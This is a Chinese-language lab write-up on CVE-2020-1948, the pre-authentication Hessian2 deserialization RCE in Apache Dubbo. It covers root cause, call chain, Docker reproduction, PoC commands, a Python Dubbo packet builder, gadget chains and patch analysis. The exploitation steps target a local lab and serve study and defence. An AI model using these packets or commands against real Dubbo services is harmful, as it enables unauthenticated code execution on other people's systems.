CVE-2020-1948 — Dubbo 协议 Hessian2 反序列化 RCE 漏洞概述 CVE 编号 :CVE-2020-1948
CVSS 评分 :9.8(Critical)
影响版本 :Dubbo 2.7.0 ~ 2.7.6, 2.6.0 ~ 2.6.7, 所有 2.5.x
修复版本 :2.7.7, 2.6.8
攻击协议 :Dubbo 协议(默认协议,默认端口 20880)
序列化方式 :Hessian2(默认序列化)
重要性 :这是第一个直接攻击 Dubbo 默认配置的高危漏洞
漏洞原理 根因分析 Dubbo Provider 在处理 RPC 请求时,先反序列化请求体中的所有参数,再验证服务名和方法名
攻击者可以发送一个服务名和方法名都不存在 的 RPC 请求
只要请求体中的参数包含恶意 Hessian2 序列化对象,反序列化过程就会触发 gadget chain
关键发现 :反序列化发生在方法路由之前,无需知道真实的服务接口
调用链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 攻击者发送 Dubbo 协议包(端口 20880 ) → ExchangeCodec.decode () → DubboCodec.decodeBody () → Hessian2ObjectInput.readUTF () → Hessian2ObjectInput.readUTF () → Hessian2ObjectInput.readUTF () → Hessian2ObjectInput.readUTF () → Hessian2ObjectInput.readUTF () → Hessian2ObjectInput.readObject () → MapDeserializer.readMap () → HashMap.put (key, value) → key.hashCode () → ... → RCE → 尝试查找服务(失败,但反序列化已经执行了)
为什么服务名/方法名可以是任意值? Dubbo 的解码流程是按顺序读取 请求体的各个字段
反序列化是贪婪的 :读到参数时就立即反序列化
服务查找(getInvoker())在反序列化之后才执行
即使服务不存在,恶意代码已经执行了
环境搭建 Docker 方式 1 2 3 4 5 cd environments/cve-2020-1948 docker-compose up -d # 验证 20880 端口 telnet 127.0.0.1 20880
漏洞复现 核心:手工构造 Dubbo 协议包 这是理解 Dubbo 漏洞利用的关键步骤
需要按照 Dubbo 协议格式构造二进制数据包
步骤一:理解数据包结构 1 2 3 4 5 6 7 8 9 ┌── Header (16 bytes) ──────────────────────────────┐ │ DA BB │ C2 │ 00 │ 00..00..00..01 │ 00..00..XX..XX │ │ magic │flag│stat│ request id │ data length │ └────────────────────────────────────────────────────┘ ┌── Body (Hessian2 编码) ───────────────────────────┐ │ dubbo_version │ service_name │ service_version │ │ method_name │ param_types │ param_values (恶意) │ │ attachments │ └────────────────────────────────────────────────────┘
flags = 0xC2:Request(1) + TwoWay(1) + NotEvent(0) + Hessian2(00010)
步骤二:使用 PoC 脚本 1 2 3 4 python exploits/cve_2020_1948_hessian.py \ --target 127.0.0.1 \ --port 20880 \ --command "touch /tmp/pwned"
步骤三:使用 dubbo-exp 工具 1 2 3 4 5 java -jar dubbo-exp.jar \ --gadget Rome \ --command "touch /tmp/pwned" \ --host 127.0.0.1 \ --port 20880
步骤四:验证 1 docker exec dubbo-provider ls /tmp/pwned
Dubbo 协议包构造详解 Python 代码解析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import socket, structdef build_dubbo_request (body_bytes ):"""构造 Dubbo 协议请求包""" magic = b'\xda\xbb' flags = 0xC2 status = 0x00 request_id = 1 data_length = len (body_bytes) header = magic + struct.pack('!BBqI' , flags, status, request_id, data_length) return header + body_bytesdef hessian2_string (s ):"""Hessian2 编码字符串""" encoded = s.encode('utf-8' ) length = len (encoded) if length < 32 : return bytes ([length]) + encoded elif length < 256 : return b'\x30' + bytes ([length]) + encoded else : return b'\x53' + struct.pack('!H' , length) + encoded def build_body (service, method, malicious_payload ):"""构造 Dubbo RPC body""" body = b'' body += hessian2_string("2.7.3" ) body += hessian2_string(service) body += hessian2_string("0.0.0" ) body += hessian2_string(method) body += hessian2_string("Ljava/lang/Object;" ) body += malicious_payload body += b'H' body += b'Z' return body
关键点 service 和 method 可以是任意字符串,不需要真实存在
malicious_payload 是 Hessian2 格式的恶意序列化数据(用 marshalsec 生成)
整个利用过程不需要知道目标暴露了哪些服务
补丁分析 Dubbo 2.7.7 修复 引入了 Hessian2 类型过滤(黑名单/白名单)机制
在反序列化之前检查类名,阻止已知危险类
修复的局限性 黑名单可以被绕过(后续 CVE-2021-25641 就利用了序列化 ID 篡改绕过)
白名单需要用户手动配置,默认不启用
这只是 Dubbo 安全攻防的起点,后续又出现了多个绕过
关联的 Gadget Chain 因为使用 Hessian2 序列化,可用链:
链
依赖
推荐度
ROME
rome
高(不需要出网)
Spring AOP
spring-aop
高(需要 JNDI 出网)
XBean
xbean-naming
中
思考与延伸 这是 Dubbo 默认配置 下的第一个高危漏洞,影响面极大
攻击者只需要网络能访问 20880 端口即可利用,无需任何认证
开启了 Dubbo 漏洞的”军备竞赛”:修补 → 绕过 → 再修补 → 再绕过
后续的 CVE-2020-11995、CVE-2021-25641 都是在此基础上的升级版本